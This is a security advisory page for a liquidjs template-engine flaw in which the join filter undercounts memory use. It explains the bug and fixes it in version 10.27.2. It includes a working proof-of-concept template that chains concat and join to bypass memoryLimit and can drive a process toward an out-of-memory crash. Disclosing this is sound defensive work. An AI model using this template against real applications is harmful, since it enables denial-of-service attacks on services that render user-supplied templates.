GHSA-4r6h-5v86-94p3: High severity npm/liquidjs vulnerability

Published Sep 8, 2026
·
Updated

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators })

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replacefirst (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling arraytosentencestring (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against liquidjs@10.27.1, Node v24.3.0.

javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = {%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}; for (let i = 0; i < DOUBLINGS; i++) tpl += {%- assign a = a | concat: a -%}; // 1 -> 8192 elements tpl += {%- assign out = a | join: "" -%}{{ out | size }};

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked console.log('output length:', len); // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)

Affected Software

1 affected componentFixes available
npm/liquidjs<=10.27.1
10.27.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/liquidjs to a version that resolves this vulnerability.

    Fixed in 10.27.2

Event History

Sep 8, 2026
Advisory Published
via GitHub·06:10 PM
Data Sourced
via GitHub·06:10 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What does an attacker need to do to trigger the excessive allocation?

They need to cause template processing that repeatedly uses concat to grow an array and then passes that array to join. Concat cheaply duplicates references while charging only by element count, and join materializes the referenced content into a string.

2

Does configuring memoryLimit prevent this condition?

No. The join filter charges memoryLimit based on array element count and separator length rather than the total length of the generated string, so the resulting allocation can exceed the configured budget.

3

What is the practical impact when the limit is bypassed?

A rendered string can grow beyond memoryLimit, with its size bounded by V8 or process limits instead. This can cause an availability impact through excessive memory allocation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203